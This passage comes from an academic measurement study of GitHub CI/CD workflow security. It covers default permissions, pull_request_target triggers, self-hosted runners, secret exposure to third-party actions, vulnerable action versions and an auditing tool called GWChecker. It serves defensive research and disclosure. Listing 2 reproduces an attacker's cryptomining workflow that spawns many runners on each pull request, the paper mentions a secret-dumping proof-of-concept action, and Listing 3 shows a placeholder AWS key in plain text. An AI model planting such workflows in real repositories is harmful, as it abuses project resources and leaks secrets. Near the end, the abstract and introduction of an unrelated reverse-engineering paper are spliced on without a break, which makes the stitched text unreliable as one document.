other systems as well, e.g., code registry.

Masking (C8). To ensure the safety of secrets, first, CI/CD
should ensure that secrets are never visible outside the
execution environment of the workflow or pipeline. One
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common way where developers are known to leak sensitive
information is through logs. So, CI/CD platform should ensure
that the secrets are scrubbed or masked in the execution logs.
Except for Jenkins, all CI/CD platforms mask the secrets in the
build log by default. To mask the secrets in Jenkins, developers
need to install a third-party plugin, which complicates the
initial secure configuration of the Jenkins pipeline.
Available to only authorized steps (C9). Second, even
during the CI/CD pipeline execution, a secret should be
visible/accessible to only those steps or plugins requiring
the secret as specified in the workflow(or config) file. For
instance, in Listing 1, we want only the step 3 to access the
secret represented by ${{secrets.API_KEY}}. Only GitLab
implements this correctly by preventing access to secrets by
steps unless explicitly granted in the config file.

Unfortunately, in GitHub CI, we found that during
a workflow execution, all secrets specified in the workflow are
decrypted and placed in a file under folder /home/runner/_-
work. Consequently, all steps in a workflow can access
decrypted secrets even when they are not passed explicitly. For
instance, in Listing 1, all sets can access the secret represented
by ${{secrets.API_KEY}}. To better demonstrate this, we
developed a proof-of-concept action [20], which, when used in
a workflow will dump the decrypted content of all the secrets
mentioned in the workflow.
Hidden from pull requests (C10). Finally, access to secrets in
a pipeline should also be regulated by how the pipeline execu-
tion is triggered. Specifically, secrets should not be accessible
if the pipeline execution is triggered by no-privilege events, es-
pecially a pull request. A malicious user creates a pull request
by modifying a script in the repository referenced by a pipeline.
If the pull request triggers the pipeline, it will be using the
script in the pull request. If the pipeline has access to secrets,
the modified script can leak the secrets, e.g., to a remote server.

By default, none of the CI/CD platforms share the secrets
with the pipeline triggered by pull requests. However, you
can allow sharing the secrets with the pull-request pipeline
in the settings of the project for Gitlab CI, GitHub CI and
CircleCI. Furthermore, GitHub CI also shares the secrets
with pull requests by default if the pull request is internal,
meaning it was raised within the project and not from a
forked repository. Also, developers can pass the secrets to
all pull-requests in GitHub CI by configuring the workflow to
trigger on pull_request_target. We show how prevalent
is the usage of pull_request_target in Section 5.

3.3.5 Summary

Table 3 summarizes our analysis of the desired security proper-
ties in GitHub CI along with other CI/CD platforms. We focus
on GitHub CI, and as shown in Table 3, none of the security
properties always hold in GitHub CI. The red markings in
sub rows of security properties mark the conditions under
which the corresponding security property will be violated.

The conditions marked with w are workflow dependent, i.e.,
their violation depends on configuration and contents of
a workflow. For instance, the code execution property can be
violated if the workflow uses a vulnerable action. On the other
hand, the availability of secrets to all steps of a workflow is a
platform-wide condition. In the following sections, we present
a large-scale analysis of GitHub workflows and show that
most of the workflows violate at least one of the conditions.

4 Data Collection and Methodology

In this section, we present our methodology for collecting the
repositories’ names with GitHub Workflow and third-party
actions names.

Repositories with workflows. We use GHArchives to
collect the list of repositories that use workflows [35]. We
were unable to do a universal crawl using GitHub API because
of the recently imposed restrictions (Section 6). GHArchive
collects repository information by recording events, i.e.,
push, pull_request, and more, posted on GitHub’s events API
endpoint. However, it does not track workflow events and
cannot directly track repositories using GitHub CI. However,
we noticed that the same github_bot user is responsible for
all events resulting from GitHub CI workflows. Therefore,
we selected all repositories containing events created by
the github_bot user. We queried GHArchive for github_bot
generated events from 2019 to July 2021 and used these to
extract the names of the corresponding repositories using
GitHub CI. We acknowledge that this dataset does not contain
all the repositories that use GitHub CI. However, the dataset
includes a list of most interesting use cases where workflows
interact with the repository or Github APIs themselves.
Almost 40% of all repositories we collected had at least one
star, and 72.8% of all repositories were active in 2021.

After retrieving all repository names, we used GitHub’s
REST API to verify that these repositories are not forks of an
existing repository and contain at least one workflow under
.github/workflow directory (See Section 2). In total, we filtered
213,854 (65.5%) out of the initial 326,410 repository names
retrieved from GHArchive.

Next, we extracted all workflow YAML files from the
remaining repositories located under .github/workflows
directory (Section 2) using GitHub’s REST API [10]. We use
these workflow files to analyze GitHub CI’s usage patterns
further. To do that, we parse all the workflow files and store the
result as a JSON file in MongoDB. We will share our dataset
with the research community upon publication. We discuss
the analysis results of repositories’ workflows in Section 5.1.

Actions repositories. As mentioned in Section 3.2, GitHub
CI allows workflows to use third-party modules, called actions
(see uses keyword in Listing 1). We collected actions by
parsing the collected workflow files and filtering based on the
uses keyword. We ignore local actions, i.e.,, actions that are
part of the workflow repository itself.
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In summary, we extract all the external actions used in these
workflows and clone their repositories to analyze them for
vulnerabilities (Section 5.2). We ended up with 11,438 unique
actions.

5 GitHub CI Measurement Results

This section presents the analysis results of collected
workflows and third-party actions used in these workflows.
We first present our comprehensive analysis of the workflow
files and their configuration. Our goal is to present the
common usage patterns of workflows and how these violate
the desired security conditions (Section 3.3) and result in
critical vulnerabilities [5]. Second, we perform a similar
comprehensive analysis of third-party actions’ (i.e., plugins)
to check whether workflows safely use them and whether the
actions themselves contain any security vulnerabilities.

5.1 Workflows Analysis

Overall we collected workflow files from 213K repositories,
which contain a total of 447K workflows, with an average of
2.2 workflows per repository.

5.1.1 Workflows Permissions

As discussed previously, workflows in GitHub CI by default
have wide permissions which grant write access to the reposi-
tory. Consequently, as discussed in Section 3.3, an attacker can
use a vulnerability in the workflow to modify the underlying
repository and violate the desired conditions, C2, C5 and, C6.
Developers can change the default permissions of a workflow
by adding the permissions field into the workflow YAML
file. However, only 0.2% of all workflows (900/447K) use
the permissions field to configure the permissions of the
workflows. Furthermore, even in these 900 workflows, only
62% of them set the permission to the desired read-only.

Recommendation: Following the least privilege principle
and restricting the default permission to read-only will protect
repository code from unauthorized changes.

5.1.2 Workflow Triggers

The workflows can be triggered in various ways as we
discussed in Section 2. Table 4 shows the most popular ways of
triggering (i.e., firing) workflows in the analyzed repositories.
Pull request and cryptomining. An interesting and rather
potentially dangerous way of triggering a workflow is by
creating the pull_request or pull_request_target
from a forked repository because the workflow will be
executed using the code in the forked repository. Furthermore,
workflows triggered by pull_request_target will have
access to all the configured secrets. An attacker can exploit this

Trigger events Repositories (%) Workflows (%)

push 179,503 (83.9%) 279,337 (62.5%)
pull_request 94,962 (44.4%) 146,803 (32.8%)
cron 51,544 (24.1%) 70,719 (15.8%)
manual 45,134 (21.1%) 83,616 (18.7%)
pull_request_target 7,485 (3.5%) 8,874 (1.9%)

Table 4: Number of repositories with at least one workflow
triggered on push, pull_request, pull_request_target,
manual, and cron events. Note that percentages do not sum up
to 100% because a repository can contain multiple workflows
with each of these configured to be triggered by multiple events.

by raising a pull request and consequently executing arbitrary
code in GitHub CI environment as part of the workflow.

Until recently [12] it was possible to create a new workflow
as part of a pull request which will automatically start running
even if the pull request was not merged or validated by any
means. An attacker used this feature to perform cryptomining
on GitHub CI resources by raising a pull request with
the workflow in Listing 2, which spawns a lot of runners
performing mining. Here, the attacker raises a pull request
containing the workflow in Listing 2.

Even though GitHub now disables the execution of new
workflows created by first-time contributors without the
manual approval from a repository owner with write access,
we believe it is still possible to perform cryptomining. For
example, attackers can gain the trust of the repository owners
by first raising a valid pull request and later submitting the
cryptomining code. Also, the attacker does not need to create
a new workflow to perform cryptomining. They can perform
cryptomining by updating the part of the codebase used in
workflow, e.g., unit test code. We found that 105K workflows
in 66K repositories use scripts that are part of the repository’s
codebase. In other words, 30.9% of all repositories contain
at least one workflow that uses scripts that are part of the code-
base. An attacker can use these workflows to execute arbitrary
code by raising a pull request with a modified repository where
the referenced scripts contain the target code. Note that these
numbers are lower bound numbers, and the real number of
workflows that use the repository codebase must be higher.

In addition to cryptomining, attackers can harm the
organization by continuously raising PR and finishing all the
GitHub CI resources available for free to the organization, i.e.,
performing DoS attacks.

Recommendation: Removing the ability to run newly
created workflows from PRs until they are merged into the
original repository will eliminate the possibility of using
workflow resources in a malicious context. This will improve
the Admittance Control security property.
Pull requests and self-hosted runners. As we describe in
Section 2, GitHub allows developers to run the workflows in
personal machines that do not belong to GitHub. However, this
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1 name: Cryptomining workflow
2 on: [pull_request]
3 jobs:
4 build:
5 name: Fetch
6 runs-on: ubuntu-latest
7 container: ubuntu:20.10
8 strategy:
9 fail-fast: false

10 matrix:
11 runner: [0,1,2,3,4,5,6,7,8,9,10,...,19]
12 steps:
13 - run: ./obfuscated_cryptomining.sh

Listing 2: Example of cryptomining workflow that spawns
multiple runners on each pull_request

comes with security implications if the machines are not re-
turned to a clean state after the execution of the workflows [37].
Also, by executing workflows with Third-Party Actions
(TPAs) you risk your machine being fully compromised. Even
if workflow does not contain a TPA but allows it to be triggered
by pull_request event, anyone with pull requests permission
can compromise the self-hosted machine by introducing
malicious code into the codebase. Therefore, GitHub strongly
discourages the usage of self-hosted machines as runners
for public repositories, which contain workflows that can be
triggered by pull requests [16]. Despite this, we found cases
of 565 public repositories that run on self-hosted machines.
More than half (51.7%), or 292 out of 565 of these repositories
are triggered by a pull request event. Note that since GitHub
allows developers to define custom labels [36] to reference
a self-hosted machine, all the numbers mentioned earlier are
lower bound. In reality, the number of self-hosted runners
could be greater than the reported number.

Also, we looked into what kind of repositories are using
self-hosted machines to run workflows triggered by pull
requests. On average 292 repositories have 744 stars and
133 forks. Approximately 20% (53 out of 292) repositories
that run on self-hosted machines and are risking potentially
being compromised have more than 100 stars. One of these
repositories is kubernetes/minikube which has more than
20k stars and is popular among developers.

Key finding: There are at least 292 repositories that
contain at least one workflow executed in a self-hosted
machine that is triggered by a pull request event. This is
51.7% of all public repositories that run in a self-hosted
machine.

5.1.3 Workflows Secrets

Securely storing and passing secrets in workflows is critical.
As discussed in Section 2, GitHub has a mechanism to store
and pass secrets to the workflows.

Our dataset contains 245K cases where secrets are passed

using GitHub’s mechanism, i.e., ${secrets.foo} pattern.
Almost half (49.7%) of the repositories in our dataset pass
secrets at least once. Repository secrets were passed directly
to 4.5K external actions developed by third-parties. Among
these 4.5K actions, only 359 were created by a verified creator,
which accounts for less than 10% of all actions that have direct
access to secrets.

In addition to actions that have direct access to secrets,
some actions can have indirect access to them, i.e., without
developers passing secrets to the action. If secrets are
passed to the workflow, GitHub CI will create files under
/home/runner/worker/_temp directory that will contain all
the secrets passed to the job during the workflow execution.
Therefore, other TPAs that are part of the workflow jobs will
be able to access the secrets by reading the contents of the
directory. There are 5.7K actions with indirect access to the
secrets, against 4.5K actions that have direct access to the
secrets. Of these 5.7K actions with indirect access, only 53
are from verified creators. We disclosed the issue of indirect
secret access by TPAs to GitHub. They responded that this is
intentional behavior right now, and plan to restrict the access
in future releases of GitHub CI.

Key finding: Developers pass the secrets without
considering the TPAs’ origin, i.e., trustworthiness. More
TPAs can indirectly access the secrets.

Recommendation: To prevent unauthorized access to
secrets, GitHub should add the ability to pass the secrets only
during the execution of the step that requires it or disable read
access to the directory where actions store secrets.
Secrets passed as plain-text. As discussed in Section 2,
developers must use a pattern like ${secrets.FOO} to pass
secrets to workflows. We use this knowledge to our advantage
by querying our dataset for different usage patterns of secrets.
First, we find the repositories that pass secrets to workflows
and analyze which keys they use to pass secrets, e.g., if the
repository is passing the secret with the ${secrets.API_-
KEY} pattern, the key will be API_KEY. Second, from the list
of all keys, we deduce a reduced list of keywords most likely
to be associated with the secrets, e.g., token, password. We
use this list of keywords to detect the repositories passing the
secrets in plaintext. We do this by querying our database to
find when a repository passes some value to the external action
with a key that contains one of the keywords. The query result
returned 2,240 possible candidates for secret leaks. After
filtering out false positives, we have 333 possible leaks.

We raised the issue to the 333 repositories about possible
secret leaks. From all of the reports, only 11 confirmed acciden-
tal leakage of the secrets and fixed the issue. While most of the
issues were not answered, there are some interesting responses
from the repository’s maintainers regarding the intentional
leakage of the secrets. Specifically, the repositories that use
Chromatic, a tool to automate UI feedback gathering, are inten-
tionally leaking projectToken value. Chromatic documenta-
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tion [24] explains that this is the only way to allow forked repos-
itories to run workflows with Chromatic. Further investigation
revealed that due to security reasons GitHub CI by default does
not share the secrets with workflows if a forked version of the
repository triggers the workflow. Thus, repositories that want
to allow forked repositories to execute workflows with secrets
must either pass the secret in plain text inside the workflow con-
figuration file or change the repository’s settings to allow pass-
ing the secrets to the forked version of the repository. However,
since updating the settings of the repository will pass all the
secrets to the forked repository, developers choose to pass only
a limited number of secrets in plain text in the workflow file.

Key finding: Some developers pass the secrets in plain
text to allow forked versions of the repository to run the
workflows.

Recommendation: Adding the ability to pass the only limited
number of secrets to the forked repository can improve security.

5.2 Actions analysis

Over-privileged and mutable TPAs contribute most to the
security risks of the Github CI workflows (Section 3). All
security properties (AC, EC, CC, AS) can be compromised
if the workflow depends on a vulnerable or malicious TPA.
For example, the wayou/turn-issues-to-posts-action
action, which is used to convert issues into posts, is vulnerable
to shell injection attacks [42]. Suppose any repository
depends on wayou/turn-issues-to-posts-action in its
workflows. In that case, an attacker can run any code inside
the CI/CD pipeline by just crafting the malicious issue. And
since the workflow by default gives the write permission to
the code even though the workflow is executed only on issue
events, an attacker can modify the code.
Actions’ statistics. As discussed in Section 4, we collected the
action names through the workflow files that use the keyword
uses to reference TPAs. The keyuseswere part of workflow
files 1,623,413 times in 99.7% of all repositories in our dataset.
From all 1.6M times when external actions were referenced,
0.75% were referencing local actions, actions that are part
of the repository. During further investigation, we noticed
that it is possible to directly reference the Docker image by
using the key uses. There are 6,082 (0.3%) out of 1.6M cases
when workflows are referencing the Docker image directly,
as such uses:docker://docker.io/hello-world.
Even though docker usage is only a tiny portion of overall
usage, we believe that this behavior will introduce significant
challenges in the future for the analysis of Github Actions.

The rest of the 1.6M references are indeed references to
1st-party actions in 62% and 3rd-party actions in 38% of
the cases. In general, 213,209 (99.7%) of repositories in our
dataset references at least one TPA. Overall there are 11,438
unique TPAs and 19,033 if we consider different versions.

Verified vs Unverified Actions. GitHub has a separate
category in the marketplace for actions created by verified
organizations, such as Azure, Docker, and Google, called
verified creators. As of 15th November 2021, GitHub had only
75 organizations as verified creators who published the actions
in the marketplace. In our dataset, only 335 out of 11,438
actions used by repositories are created by verified creators8.

During analysis, we found, that people more often reference
TPAs from non-verified creators than from verified creators,
which is counter-intuitive. From the top 20 actions that are
used as part of the workflow, if we ignore first-party actions
managed by GitHub, there is only one TPA maintained by
verified creators as opposed to nine from non-verified creators
(Appendix B).

Key finding: The majority of the TPAs used are from
non-verified creators. Verified creators maintain only 3%
of all used actions.

Recommendation: Adding some level of automated review
process for the TPAs can contribute to the defense in depth
against malicious TPAs.
Third-Party Actions’ References. Code Control property
emphasizes the importance of knowing what code runs as part
of the workflow (Section 3). One way of controlling what code
runs is to audit TPA’s code and make it immutable. Therefore,
it is important to know exactly how workflows are referencing
TPAs. For example, if referenced TPAs are mutable, it is
impossible to control the code they are running. As discussed
previously, there are three ways to reference the TPAs: (1) tag
name, (2) branch name, (3) commit hash.

GitHub documentation suggests using commit hash to
reference a TPA unless you trust the organization. Because
any other way of referencing a TPA, such as tags, and branch
names are mutable, which means actions code can be updated
anytime (e.g., injecting backdoor), if someone takes over the
repository and/or if the organization has malicious intent.
Therefore, we analyze how many of all TPA references follow
Github documentation recommendations. Unfortunately,
as you can see from Table 5 less than 1% of all TPAs are
referenced using their commit hash. Of all 213,209 (99.7%)
repositories that use TPAs, only 1.7% (i.e., 3,248 repositories)
use TPAs by referencing them with commit hashes. Even
worse, commit hash references do not guarantee immutability
of the TPAs’ code if the referenced action uses a mutable
reference to another dependency, e.g., other actions. We
developed a PoC [21] and reported the issue to GitHub.

Key finding: In general, developers do not reference
TPAs by using commit hash, despite security risks
associated with other ways of referencing actions.

8Note that the number is different from what is available in the marketplace
because not all actions of the verified creator might be published in the
marketplace
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Reference types References (non-verified) Distribution in % (non-verified)

Tag name 474,166 (410,054) 78.8% (68.2%)
Branch name 120,633 (109,400) 20% (18.1%)
Commit hash 6,539 (5,687) 1% (0.9%)
Total 601,338 (525,141) 100% (88.2%)

Table 5: Distribution of different ways to reference all
3rd-party actions and specifically 3rd-party actions from
non-verified creators. Despite the recommendation by GitHub
to use commit hash references, only 0.1% of references use
commit hash. Note: these numbers are for 3rd-party actions
only, i.e., does not include 1st-party actions

Another interesting finding is that there are a significant
number of TPAs that are referenced by branch name (Table 5).
This behavior not only introduces security risks but also may
break the execution of the pipeline if maintainers of the actions
push code with bugs into the actions’ repository. For example,
at one point lowlighter/metric introduced an infinite loop into
the code that they fixed in 9b574376 commit.

The developers’ behavior of not referencing the actions
with commit hash shows that the developers tend to choose
convenience over security.

Recommendation: Introduction of semver versioning
scheme in TPAs references as in CircleCI Orbs [30] will lessen
the dependency on highly mutable references such as branch
names. Also, it will give the flexibility to update the actions
if a vulnerability is detected without manual effort, as in the
case of referencing using commit hash.
Actions Vulnerability Analysis. Since dependence on TPAs
may present some security risks (Section 3), it is important
to analyze the external actions for security vulnerabilities. For
example, if a repository uses a vulnerable action, malicious
actors can compromise the execution flow of the workflow
by posting comments on an issue [43, 44] or by controlling
git’s tag value [32]. We perform the vulnerability analysis of
actions by detecting the commit that potentially fixes some
security vulnerability.

There are existing tools that can detect automatically vulner-
able commit messages for large projects [65]. However, since
actions are relatively small projects with the majority of them
containing less than a hundred commits, we decided to use
a simple regex matching-based tool, git-vuln-finder [25],
which looks for security-related keywords in commit messages.
As a result, git-vuln-finder returns a list of potentially
vulnerability-fixing commits for each repository. After
running the tool on all 11K cloned actions’ repositories, the
tool returned 5.4K potentially vulnerability fixing commits.
After the manual verification step, we ended up with 659
actions, which accounts for 5% of all actions we cloned, that
have vulnerability-fixing commits in their commit logs.

We then construct the set of vulnerable tags, i.e., the set
of tags that points to the commit which comes before the
vulnerability-fixing commit. For example, for cake-build/cake-

Vulnerability severity Actions Repositories

High-severity 26 582
Medium-severity 56 28,870
Low-severity 577 10,922

Table 6: Vulnerable first and third parties actions and number
of repositories that reference vulnerable versions

action the tag v1.3.0 is pointing to a commit ada1055,
which comes before the vulnerable fixing commit 985efc8.
Therefore, we will add v1.3.0 to a set of vulnerable tags
for cake-build/cake-action action. We use this set to detect
workflows that use a vulnerable actions version.

Table 6 shows a number of repositories that are referencing
a vulnerable version of the action, i.e., action version that is
missing vulnerability fixing commits. A group of graduate
students who have experience in security categorized all
vulnerability fixing commits according to severity (high,
medium, low). From Table 6 one can see that majority of
vulnerability fixing commits were low severity fixes, such as
updating vulnerable npm dependencies.

Reference to one first-party action, actions/checkout
version v1 and prior contributes most to the number of
repositories that reference medium-severity in Table 6. All
versions prior to v2 are passing GitHub authorization token
into the command line in plaintext, which can lead to a leak
of GitHub’s token unintentionally.

The above results show that developers may depend on
vulnerable actions in their repositories’ workflows. This could
lead to several serious outcomes if not tackled on time, and
not come up with ways to inform developers about the security
risks of using outdated/vulnerable actions.

Key finding: 38,315 or 17.9% of all repositories use at
least one potentially vulnerable TPA in their workflows
due to not upgrading the version

Due to limitations discussed in Section 6 we tried to notify
only 582 repositories that are depending on the actions’
version with high-severity vulnerability from Table 6. Overall,
we successfully created issues for 542 repositories. We
could not create issues for 40 because of (1) rename or
removal of the repository; (2) issue creation is disabled; (3)
repository is archived, meaning it is read-only. For rest of
the repositories that depend on actions with medium and low
severity vulnerabilities, we notified the GitHub itself directly.
Recommendation: Using reduced privileges by default for all
actions can prevent attackers to use vulnerable actions as a
trampoline during the attack. For example, workflows that are
triggered only on events related to issues can have permissions
limited to only read/write access to issues.
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6 Discussions & Limitations

Data Collection Limitations. There are two main limitations
in our data collection. The first limitation being our dataset
does not contain all repositories with workflows. As discussed
in Section 4, the dataset does not include any repositories
with workflows that do not update the repository using
workflow(s) or interact with GitHub’s APIs. Initially, we
tried to use "GitHub Activity Data" on BigQuery to collect
all the repository names that use GitHub CI. However, since
GitHub CI was introduced only in Fall 2018 and BigQuery’s
default dataset was not updated since 2017, we decided to
use GHArchive data stored in Google’s Big Query. There is
also GitHub’s REST API that can be used to crawl GitHub
for repository with workflows. However, GitHub’s REST API
contains a significant rate limitation that limits crawling to
5000 requests/hour, and for each query returns only the first
1000 results non-deterministically.9 In addition to this, GitHub
community standards (i.e., policy) forbids bad crawling
behavior. These limitations were reasons to select GHArchive
over GitHub’s APIs or anything that uses those APIs in the
backend, like Github advance search. Despite the limitations
mentioned above, our dataset contains the most exciting cases
when repositories use GitHub CI as we focus on cases where
actions modifying the repository is an expected side-effect.

The second limitation is that our data does not include all
third-party actions hosted in GitHub. However, we argue that
even though the dataset does not contain all third-party actions,
it contains actions that are used by other repositories in the
wild, i.e., which are of the most interest.
Actions’ Vulnerability Analysis Limitations. The actions
vulnerability analysis may not present accurate numbers
regarding the actions vulnerability because of the methodology
we employed. While we take measures to decrease the number
of false positives by performing manual analysis, we still
used basic regex matching of the commit message to detect
vulnerability-fixing commits in the action’s repository
(Section 4). However, we argue that it is not an easy task
to detect the vulnerability-fixing commits and, on its own,
requires separate research. Also, the goal of the actions’
vulnerability analysis was to raise awareness of the security
risks that come with referencing third-party actions and
providing them with broad permissions. Even if the third-party
actions are not malicious, they may be vulnerable, and, thus
they can be exploited by malicious actors.
Vulnerable Workflows Disclosure Limitation. We notified
only repositories that depend on vulnerable actions with
high severity because of GitHub’s strict policies regarding
automatic content creation. If the developer opens a lot of
issues automatically, GitHub will block the account and hide
all opened issues. Therefore, we decided to create issues
directly only for repositories that depend on actions’ version
with high-severity vulnerability and notify GitHub directly

9Querying for identical keyword can return different results

through the support system about all other issues.
Secret Analysis Limitations. Compared to previous works,
our analysis of leaked secrets has several limitations. The first
limitation is the scale. We analyze only leaks for 190K repos-
itories, while recent papers analyzed a significantly more num-
ber [47]. Another limitation is that we did not perform a longitu-
dinal study of the workflows. Thus, we may miss the old leaks
of the secrets. Third, we were looking at the leaks only in work-
flows. Therefore the numbers are lower than in other studies.

7 Related Work

CI/CD Analysis There has been a considerable amount
of research in analyzing CI/CD frameworks. Several
works [31, 39, 49, 53, 55, 58] looked into the DevSecOps
culture, trying to understand their challenges and trade-offs.
Gruhn et al. [37] are among the first to analyze public continu-
ous integration services and identify that isolation is important
in executing various tasks of a CI/CD pipeline. Later, Bass et
al. [22] looked into the security of Jenkins and proposed the
division of Jenkins into smaller parts for easy configuration.
Configuration Smells. Configuration smells or problems due
to improper configuration, especially in the context of CI/CD
pipelines, had been studied extensively [33, 34, 51, 52, 64]
and many works try to fix them automatically [61, 62]. Most
of these works focus on Travis CI, where the bad patterns
are identified manually [33, 34, 52] or through developer
surveys [51, 64]. Recently, Vassallo et al. [61] proposed a log
analysis technique that tries to identify configuration smells
through log analysis. Subsequently, they also proposed a tool
called CD-Linter [62] that automatically fixes the issues in
the YAML configuration file.

Unlike previous works, in this paper, we focus on GitHub
CI, by first systematically identifying required security
properties than trying to find the violations in the workflow
configuration file. Our work complements the existing work
by extending research to GitHub CI.
Secrets Leakage Detection. Detecting secret leakage in
public repositories has been well-studied [47, 56, 63]. Notable
recent work is from Meli et al. [47], they use entropy-based
techniques to find that over 100,000 repositories leak secrets
for a set of pre-defined APIs. In our work, we use a much
simpler technique based on keywords and independent of
APIs. Unlike the previous work, we found significantly fewer
leaked secrets as we focus only on workflow files, and most of
the developers were well aware of GitHub’s secret mechanism.
Identifying Security Fixes. There has been some
work [65, 66] in detecting security fixes from commit
messages, and most works are based on machine learning tech-
niques. These techniques depend on the availability of a large
dataset of commits fixing security bugs, which is hard to get,
especially for action repositories, as they are relatively new (< 2
years) and have fewer commits. In our work, to handle this, we
use git-vuln-finder, which doesn’t require a large dataset.
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Finally, identifying security fixes is not the paper’s main con-
tribution, and any work that doesn’t depend on a large dataset
can be used to detect security fixes in action repositories.

8 Conclusion

This paper defined four security properties that must hold
to secure CI/CD platforms from supply-chain attacks. Then,
we compared the newly introduced GitHub CI with five
other public CI/CD platforms following security properties
defined earlier. Additionally, we investigated how developers
use workflows in GitHub CI and their effect on the security
properties. Based on the GitHub CI usage by developers, we
proposed recommendations on how to improve the security.

Also, we listed four security improvements that can
be implemented as part of GitHub CI to protect from
security weaknesses. As part of security improvements, we
implemented an automated tool called GWChecker which
developers can use to detect security weaknesses in their
workflow configuration and can also automatically notify
them by creating issues if security risks are detected.

We hope that our work will be the first of many kinds of
research on GitHub CI.
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[43] Jaroslav Lobačevski. gajira-comment GitHub action vul-
nerable to arbitrary code execution. https://github.
com/atlassian/gajira-comment/security/
advisories/GHSA-hj6w-pm28-h8hf, 2020.
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A GWChecker

To assist in mitigating simple security mistakes in the YAML
configuration for CI/CD workflows, we developed a workflow
auditing GitHub action, GWChecker10. GWChecker audits
the workflow files by looking for plaintext secrets using
regular expressions [47], tags for versioning, non-verified

10https://kapravelos.com/projects/githubactions/
GWChecker/
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actions or actions not published on the marketplace, and
insecure triggers. In addition to this GWChecker enforces a
pre commit hook that ensures that the files committed are not
in ‘.github/workflow‘ To avoid having workflows that commit
other workflow-related files to the repository.

Listing 3 shows a configuration file that is triggered via
pull request on any branch, a plaintext AWS secret key, and
uses developer-controlled version tags. The output of the
workflow after GWChecker was added as the second step
(after github/checkout) is shown in Figure 2.

Figure 2: CI/CD log after adding GWChecker

name: Node.js CI
on:
push:
branches: '**'

pull_request:
branches: '**'

jobs:
build:
runs-on: ubuntu-latest
strategy:
matrix:
node-version: [15.x]

steps:
- uses: actions/checkout@v2
- name: Use Node.js ${{ matrix.node-version }}
uses: actions/setup-node@v1
with:
node-version: ${{ matrix.node-version }}

- name: Push to AWS
run: node index.js wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

Listing 3: Sample YAML file with plain-text secrets, broad
triggers, and actions versioned with tags.

B Additional Tables

In this appendix we list the additional tables that can provide
extra information, but not critical to the final results.

C Vulnerability Disclosure Details

To disclose the vulnerabilities we opted to open the issues to
repositories that depend on vulnerable version of the action

Action name Total VC

actions/checkout 499,840 Ë
actions/cache 104,563 Ë
actions/setup-node 97,236 Ë
actions/setup-python 76,906 Ë
actions/upload-artifact 75,476 Ë
actions/upload-release-asset 27,605 Ë
actions/download-artifact 26,979 Ë
actions/setup-java 26,630 Ë
actions/setup-go 23,183 Ë
actions/create-release 23,175 Ë
Janealter/branch-pr-comment 20,030 é
peaceiris/actions-gh-pages 19,051 é
JamesIves/github-pages-deploy-action 16,670 é
ad-m/github-push-action 15,452 é
actions-rs/toolchain 12,367 é
codecov/codecov-action 11,021 Ë
actions/github-script 10,667 Ë
JasonEtco/create-an-issue 10,376 é
r-lib/actions/setup-r 9,839 é

Table 7: Top 20 actions by number of how many times it
was used. Note that sometimes action can be used multiple
times inside the same workflow. Here VC column stands for
verified creator. If we do not account for first-party actions
maintained by GitHub (actions organization), there is only
one third-party action (codecov/codecov-action) maintained
by verified creator.

instead of sending an email to the repository owners. This is
because not all of the owners of the repositories decide to make
his/her email visible to public. Also, it is common process in-
side GitHub open source projects to open an issue to notify the
owners of the repository about vulnerability in the code base.

We also indicated our contact information in the issue, i.e.,
email address, for owners in case they want to contact with us.
This actually, helped us to detect one of false positives, when
maintainer of the third-party action himself contacted with us
through the email and said that even though previous version
does not contain CVE fixing commit, workflows that depend
on vulnerable version can not be exploited.
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Abstract
Human analysts must reverse engineer binary programs
as a prerequisite for a number of security tasks, such as
vulnerability analysis, malware detection, and firmware
re-hosting. Existing studies of human reversers and the
processes they follow are limited in size and often use
qualitative metrics that require subjective evaluation.

In this paper, we reframe the problem of reverse engineering
binaries as the problem of perfect decompilation, which is the
process of recovering, from a binary program, source code
that, when compiled, produces binary code that is identical
to the original binary. This gives us a quantitative measure
of understanding, and lets us examine the reversing process
programmatically.

We developed a tool, called DECOMPERSON, that supported
a group of reverse engineers during a large-scale security
competition designed to collect information about the par-
ticipants’ reverse engineering process, with the well-defined
goal of achieving perfect decompilation. Over 150 people par-
ticipated, and we collected more than 35,000 code submissions,
the largest manual reverse engineering dataset to date. This in-
cludes snapshots of over 300 successful perfect decompilation
attempts. In this paper, we show how perfect decompilation
allows programmatic analysis of such large datasets, providing
new insights into the reverse engineering process.

1 Introduction

The reverse engineering of binary code is a key process in a
number of security tasks, from malware analysis to vulnerabil-
ity discovery. Unfortunately, reverse engineering binary code
is a challenging task, as the process that transforms source
code into executable code results, in most cases, in the loss of
high-level constructs, such as structured control flow, complex
data structures, variable names, and function signatures.

The fundamental task of reverse engineering is to deduce
the information that the compiler has obscured, and to report
it in a human-friendly format. Reverse engineers often use
source code as this format; the process of recreating source
code from binary code is known as decompilation.

Decompiled code is often incomplete or pseudo-code, and
not valid in any real programming language. This is still useful
as a guide for humans trying to understand the binary, but we
believe that decompilation becomes even more useful when
it conforms to a programming language—ideally that of the
original program.

In the absolute best case, decompiled code would be valid
source code, and re-create the original binary when compiled.

This would enable a wide variety of new operations. For
example, such decompiled code could be used for patching,
allowing security analysts to patch at the source level instead
of directly modifying the binary [36]. This code could also
be used with source-based analysis techniques [31], or recom-
piled with the instrumentation required by fuzzing tools. It
could also be used to port a binary to other architectures—from
x86-64 to ARM, for example—or it could be recompiled with
additional optimizations [44].

We assert that this “perfect” decompilation is the ultimate
goal of all decompilers, human or otherwise. We show
that perfect decompilation is achievable by human reverse
engineers today, and that it allows study of the reversing
process at scale. These larger studies can then be used to
improve the automatic compilers of tomorrow.
Automatic Decompilers. Decompilation is a challenging
process, requiring intense focus from highly skilled reverse en-
gineers. Therefore, the ability to decompile binaries program-
matically can save a significant amount of time and effort. Even
partial decompilation can be useful for program comprehen-
sion, as source code is much easier to read than raw assembly.

Automatic decompilation techniques have received much at-
tention in the past few decades. Cifuentes laid the foundations
of modern decompilers in the mid-nineties [9], and further
research works have proposed techniques to improve the
recovery of control-flow constructs [5, 18, 49–51], types [7, 12,
13, 29, 32], and even variable names [1, 2, 7, 21, 22, 26]. More
recently, a number of machine learning techniques have also
been used to improve decompilation [15, 16, 19, 23, 24, 28].

Most of these approaches use readability metrics for eval-
uation, as they are intended to help human reverse engineers.
Only a few of them focus on the correctness of the decompiled
code. Schwartz et al. [5] were the first to propose correctness
as a metric to evaluate a decompiler. They use a test suite to
determine whether or not a decompiled program preserves the
semantics of the original binary. Schulte et al. [38] extended
this concept by introducing Byte-Equivalent Decompilation
(BED), a decompilation technique based on genetic program-
ming. The authors use byte-similarity between binaries as a
fitness function for their evolutionary algorithm; any individual
that reaches perfect byte-equivalence is guaranteed to be algo-
